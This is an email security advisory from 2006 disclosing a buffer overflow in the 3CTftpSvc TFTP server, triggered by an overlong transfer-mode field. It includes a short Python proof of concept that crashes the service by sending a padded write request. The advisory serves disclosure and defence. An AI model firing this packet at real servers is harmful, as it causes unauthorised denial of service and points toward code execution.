Date: 26 Nov 2006 12:31:48 -0000
From: [email protected]
To: [email protected]Subject: TFTP Server 3CTftpSvc Buffer Overflow Vulnerability (Long
transporting mode)
X-Virus-Scanned: antivirus-gw at tyumen.ru
TFTP Server 3CTftpSvc Buffer Overflow Vulnerability (Long transporting mode)
------------------------------------------------------------------
SUMMARY:
3CTftpSvc TFTP Server is a Freeware TFTP server for Windows 9x/NT/XP.
(http://support.3com.com/software/utilities_for_windows_32_bit.htm
or ftp://ftp.3com.com/pub/utilbin/win32/3CTftpSvc.zip)
It provides an implementation of the TFTPv2 protocol.
A vulnerability has been identified in 3CTftpSvc TFTP Server, which could be exploited by attackers to execute arbitrary commands or cause a denial of service. This flaw is due to a buffer overflow error when handling an overly long transporting mode (more than 470 bytes) passed to a "GET" or "PUT" command, which could be exploited by malicious users to compromise a vulnerable system or crash an affected application.
----------
DETAILS:
Vulnerable systems: 3CTftpSvc TFTP Server 2.0.1 and probable prior
Exploit:
#!/usr/bin/python
# Buffer Overflow (Long transporting mode) Vulnerability Exploit
# This is just a DoS exploiting code
# Tested on Windows xp SP2
#
# Requires python and impacket
#
# Coded by Liu Qixu Of NCNIPC
import socket
import sys
host = '192.168.1.11'
port = 69
try:
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
except:
print "socket() failed"
sys.exit(1)
filename = "A"
mode = "netascii" + "A" * 469
da = "\x00\x02" + filename + "\0" + mode + "\0"
s.sendto(da, (host, port))
------------------------------------------
Liu Qixu
NCNIPC
